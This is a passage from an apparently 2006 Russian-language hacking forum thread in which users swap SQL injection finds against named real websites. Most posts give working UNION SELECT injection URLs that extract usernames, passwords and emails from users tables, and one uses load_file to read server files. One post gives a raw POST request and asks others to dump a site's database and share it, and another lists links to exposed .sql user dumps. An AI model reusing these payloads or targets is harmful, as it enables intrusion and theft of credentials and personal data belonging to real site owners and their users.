HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 05.08.2006, 02:32
atall v.5
Новичок
Регистрация: 09.07.2006
Сообщений: 1
Провел на форуме:
7116

Репутация: 1
По умолчанию

epidem.ru


http://epidem.ru/modules.php?name=News&pagenum=\'
 
Ответить с цитированием

  #32  
Старый 05.08.2006, 02:50
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162

Репутация: 1320


По умолчанию

Цитата:
http://epidem.ru/modules.php?name=News&pagenum=\'
server version for the right syntax to use near '-10, 10' at line 1
ИМХО скуль в LIMIT находится, смысла поэтому в нем не много.

Для тех кто хочет покопаться в Postgresql:
http://club.veresk.ru/?part_id=18-1%20union%20select%20version()
 
Ответить с цитированием

  #33  
Старый 10.08.2006, 15:19
LordNet
Познающий
Регистрация: 07.02.2006
Сообщений: 33
Провел на форуме:
373519

Репутация: 24
По умолчанию

Вот нашел:
http://www.britishcat.ru/articles.html?Action=ShowArticle&Article=8-1+union+select+111,222,333,444,555/*

После 20 мин получилось вот такое )) :
Код:
http://www.britishcat.ru/articles.html?Action=ShowArticle&Article=8-1+union+select+111,222,333,444,CONCAT('ID=',id,'%20Login=',Login,'%20Passord=',password,'%20Mail=',%20email,'%20ICQ=',icq)+from+users/*
Может, кто захочет дальше поковырять.

Последний раз редактировалось kot777; 11.08.2006 в 11:32..
 
Ответить с цитированием

  #34  
Старый 11.08.2006, 13:17
Dagon
Познающий
Регистрация: 27.03.2006
Сообщений: 86
Провел на форуме:
972602

Репутация: 52
По умолчанию

sql иньекция в сбербанке )

http://www.vsb.vrn.ru/vbank/branches.asp?bk=1%20UNION%20SSS
 
Ответить с цитированием

  #35  
Старый 13.08.2006, 19:04
Go0o$E
Members of Antichat - Level 5
Регистрация: 27.01.2006
Сообщений: 258
Провел на форуме:
6127131

Репутация: 774
По умолчанию

Sql на www.territory.ru

POST http://www.territory.ru/info/news/index.php?show=cat&id=0 HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: www.territory.ru
Content-Length: 57
Connection: Close
Pragma: no-cache

show=login&login='&password=123email@123.com

2 Tem
Если сможешь тут слить базу, ОЧЕНЬ буду признателен, если скинешь ее и мне. 8)
__________________

Завтра будет.Лучше.
 
Ответить с цитированием

  #36  
Старый 17.08.2006, 10:10
w00lf
Новичок
Регистрация: 03.07.2006
Сообщений: 17
Провел на форуме:
59495

Репутация: 3
По умолчанию

https://secure.mysociety.org/ cvstrac/getfile/mysociety/twfy/db/users.sql

home.southernct.edu/~dorrt1/work/lablog/admins.sql

members.home.nl/j.fridzema/database.sql
 
Ответить с цитированием

  #37  
Старый 18.08.2006, 20:59
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900

Репутация: 561


По умолчанию

Вот, поднакопилось.
Код:
http://www.4webhelp.net/tutorials/?cid=9%20union%20select%201,2,user_password,4,5,6%20from%20users/*
http://www.ipworld.only.pl/portal/articles.php?topic=-18%20union%20select%20111,pass,333,444,555%20from%20users/*-
http://www.gamersinfo.net/content/news.php?id=-168%20union%20select%20111,username,password,email,555,666,777,888,999%20from%20user/*-
http://www.dailynews-tsn.com/news.php?id=2163'%20union%20select%201,2,3,4,5,6,7,8,9,load_file('/home2/tsnweb/dailynews-tsn-www/db_fns.php'),1,2,3,4,5,6,7,8,9%20from%20tsn_members/*-
http://www.dynamomania.com/news.php?p=message&id=-20242%20union%20select%201,2,email,pwd,5,6%20from%20users%20limit%203,4/*
http://www.foodheart.org/news/news.php?id=55555555555%20union%20select%201,username,3,password,5,6,7,8,9%20from%20users/*-
http://staging.aiap.it/news.php?ID=-754%20union%20select%201,2,3,4,5,6,7,8/*-
http://webpagemaintenance.com/article.php?id=444444444444444%20union%20select%20111,222/*-
http://www.nasar.org/nasar/news.php?id=6666666666666%20union%20select%201,2,email,password%20from%20users/*-
http://www.hispanicprwire.com/news.php?l=in&id=-640%20union%20select%201,2,3,4,5,6/*
http://www.losingtoday.com/news.php?id=-1475%20union%20select%201,2,3,4,5,6,7,8,9,0/*
http://www.agh.edu.pl/news.php?id=-389%20union%20select%201,2,3,4,5,6,7,8,9,0,1,2,3,4,5/*
http://www.reusablebags.com/news.php?id=-17%20union%20select%201,email,3,4,5,6,7,8,9%20from%20orders/*
http://www.statistica.md/news.php?lang=ru&id=12666666666%20union%20select%201,2,3,4,5,6,7,8,9,0,1/*
http://kmi4schools.e2bn.net/rostra/news.php?r=1&t=2&id=555555555%20union%20select%201,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,0,1,2,3%20from%20account/*
http://fat-cat.co.uk/fatcat/news.php?id=44444444444%20union%20select%201,22,33,4,5,6,7,8,9,0,1,2/*
__________________
Full DNS report
 
Ответить с цитированием

  #38  
Старый 20.08.2006, 22:39
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию

вот еще одна
http://albatros.uz/index.php?option=content&task=view&id=6&Itemid=30'
 
Ответить с цитированием

  #39  
Старый 25.08.2006, 23:54
1SeTh
Участник форума
Регистрация: 17.02.2006
Сообщений: 189
Провел на форуме:
2406659

Репутация: 34
По умолчанию

а вот на wap.wab.ru
при отправке письма выдает:
Ошибка при отправке письма! Попробуйте еще раз.
ERROR You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'Юзернейм')and(idtowhom = '515488')and(topic = ''') limit 1' at lin
 
Ответить с цитированием

  #40  
Старый 17.09.2006, 10:45
aleks28
Новичок
Регистрация: 16.09.2006
Сообщений: 9
Провел на форуме:
51794

Репутация: 9
Отправить сообщение для aleks28 с помощью ICQ
По умолчанию

Вот нашел только вот толку маловато наверно, так как я не могу найти таблицу users
_http://www.yuretz.ru/prikol.php?id=470+union+select+0,1,2,3,4,5,6,7,8,9 ,10,11/*
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ